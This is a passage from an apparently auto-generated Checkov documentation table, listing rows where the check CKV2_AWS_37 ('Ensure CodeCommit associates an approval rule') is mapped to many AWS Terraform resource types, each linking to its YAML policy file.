[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1899 | CKV2_AWS_37     | resource | aws_shield_drt_access_log_bucket_association                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1900 | CKV2_AWS_37     | resource | aws_shield_drt_access_role_arn_association                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1901 | CKV2_AWS_37     | resource | aws_shield_proactive_engagement                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1902 | CKV2_AWS_37     | resource | aws_shield_protection                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1903 | CKV2_AWS_37     | resource | aws_shield_protection_group                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1904 | CKV2_AWS_37     | resource | aws_shield_protection_health_check_association                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1905 | CKV2_AWS_37     | resource | aws_shield_subscription                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1906 | CKV2_AWS_37     | resource | aws_signer_signing_job                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1907 | CKV2_AWS_37     | resource | aws_signer_signing_profile                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1908 | CKV2_AWS_37     | resource | aws_signer_signing_profile_permission                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1909 | CKV2_AWS_37     | resource | aws_simpledb_domain                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1910 | CKV2_AWS_37     | resource | aws_snapshot_create_volume_permission                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1911 | CKV2_AWS_37     | resource | aws_sns_platform_application                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1912 | CKV2_AWS_37     | resource | aws_sns_sms_preferences                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1913 | CKV2_AWS_37     | resource | aws_sns_topic                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1914 | CKV2_AWS_37     | resource | aws_sns_topic_data_protection_policy                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1915 | CKV2_AWS_37     | resource | aws_sns_topic_policy                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1916 | CKV2_AWS_37     | resource | aws_sns_topic_subscription                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1917 | CKV2_AWS_37     | resource | aws_spot_datafeed_subscription                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1918 | CKV2_AWS_37     | resource | aws_spot_fleet_request                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1919 | CKV2_AWS_37     | resource | aws_spot_instance_request                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1920 | CKV2_AWS_37     | resource | aws_sqs_queue                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1921 | CKV2_AWS_37     | resource | aws_sqs_queue_policy                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1922 | CKV2_AWS_37     | resource | aws_sqs_queue_redrive_allow_policy                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1923 | CKV2_AWS_37     | resource | aws_sqs_queue_redrive_policy                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1924 | CKV2_AWS_37     | resource | aws_ssm_activation                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1925 | CKV2_AWS_37     | resource | aws_ssm_association                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1926 | CKV2_AWS_37     | resource | aws_ssm_default_patch_baseline                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1927 | CKV2_AWS_37     | resource | aws_ssm_document                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1928 | CKV2_AWS_37     | resource | aws_ssm_maintenance_window                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1929 | CKV2_AWS_37     | resource | aws_ssm_maintenance_window_target                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1930 | CKV2_AWS_37     | resource | aws_ssm_maintenance_window_task                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1931 | CKV2_AWS_37     | resource | aws_ssm_parameter                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1932 | CKV2_AWS_37     | resource | aws_ssm_patch_baseline                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1933 | CKV2_AWS_37     | resource | aws_ssm_patch_group                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1934 | CKV2_AWS_37     | resource | aws_ssm_resource_data_sync                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1935 | CKV2_AWS_37     | resource | aws_ssm_service_setting                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1936 | CKV2_AWS_37     | resource | aws_ssmcontacts_contact                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1937 | CKV2_AWS_37     | resource | aws_ssmcontacts_contact_channel                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1938 | CKV2_AWS_37     | resource | aws_ssmcontacts_plan                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1939 | CKV2_AWS_37     | resource | aws_ssmcontacts_rotation                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1940 | CKV2_AWS_37     | resource | aws_ssmincidents_replication_set                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1941 | CKV2_AWS_37     | resource | aws_ssmincidents_response_plan                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1942 | CKV2_AWS_37     | resource | aws_ssmquicksetup_configuration_manager                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1943 | CKV2_AWS_37     | resource | aws_ssoadmin_account_assignment                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1944 | CKV2_AWS_37     | resource | aws_ssoadmin_application                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1945 | CKV2_AWS_37     | resource | aws_ssoadmin_application_access_scope                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1946 | CKV2_AWS_37     | resource | aws_ssoadmin_application_assignment                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1947 | CKV2_AWS_37     | resource | aws_ssoadmin_application_assignment_configuration                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1948 | CKV2_AWS_37     | resource | aws_ssoadmin_customer_managed_policy_attachment                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1949 | CKV2_AWS_37     | resource | aws_ssoadmin_instance_access_control_attributes                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1950 | CKV2_AWS_37     | resource | aws_ssoadmin_managed_policy_attachment                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1951 | CKV2_AWS_37     | resource | aws_ssoadmin_permission_set                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1952 | CKV2_AWS_37     | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1953 | CKV2_AWS_37     | resource | aws_ssoadmin_permissions_boundary_attachment                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1954 | CKV2_AWS_37     | resource | aws_ssoadmin_trusted_token_issuer                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1955 | CKV2_AWS_37     | resource | aws_storagegateway_cache                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1956 | CKV2_AWS_37     | resource | aws_storagegateway_cached_iscsi_volume                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1957 | CKV2_AWS_37     | resource | aws_storagegateway_file_system_association                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1958 | CKV2_AWS_37     | resource | aws_storagegateway_gateway                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1959 | CKV2_AWS_37     | resource | aws_storagegateway_nfs_file_share                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1960 | CKV2_AWS_37     | resource | aws_storagegateway_smb_file_share                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1961 | CKV2_AWS_37     | resource | aws_storagegateway_stored_iscsi_volume                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1962 | CKV2_AWS_37     | resource | aws_storagegateway_tape_pool                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1963 | CKV2_AWS_37     | resource | aws_storagegateway_upload_buffer                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1964 | CKV2_AWS_37     | resource | aws_storagegateway_working_storage                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1965 | CKV2_AWS_37     | resource | aws_subnet                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1966 | CKV2_AWS_37     | resource | aws_swf_domain                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1967 | CKV2_AWS_37     | resource | aws_synthetics_canary                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1968 | CKV2_AWS_37     | resource | aws_synthetics_group                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1969 | CKV2_AWS_37     | resource | aws_synthetics_group_association                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1970 | CKV2_AWS_37     | resource | aws_timestreaminfluxdb_db_instance                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1971 | CKV2_AWS_37     | resource | aws_timestreamquery_scheduled_query                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1972 | CKV2_AWS_37     | resource | aws_timestreamwrite_database                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1973 | CKV2_AWS_37     | resource | aws_timestreamwrite_table                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1974 | CKV2_AWS_37     | resource | aws_transcribe_language_model                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1975 | CKV2_AWS_37     | resource | aws_transcribe_medical_vocabulary                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1976 | CKV2_AWS_37     | resource | aws_transcribe_vocabulary                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1977 | CKV2_AWS_37     | resource | aws_transcribe_vocabulary_filter                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1978 | CKV2_AWS_37     | resource | aws_transfer_access                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1979 | CKV2_AWS_37     | resource | aws_transfer_agreement                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1980 | CKV2_AWS_37     | resource | aws_transfer_certificate                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1981 | CKV2_AWS_37     | resource | aws_transfer_connector                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1982 | CKV2_AWS_37     | resource | aws_transfer_profile                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1983 | CKV2_AWS_37     | resource | aws_transfer_server                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1984 | CKV2_AWS_37     | resource | aws_transfer_ssh_key                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1985 | CKV2_AWS_37     | resource | aws_transfer_tag                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1986 | CKV2_AWS_37     | resource | aws_transfer_user                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1987 | CKV2_AWS_37     | resource | aws_transfer_workflow                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1988 | CKV2_AWS_37     | resource | aws_verifiedaccess_endpoint                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1989 | CKV2_AWS_37     | resource | aws_verifiedaccess_group                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1990 | CKV2_AWS_37     | resource | aws_verifiedaccess_instance                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1991 | CKV2_AWS_37     | 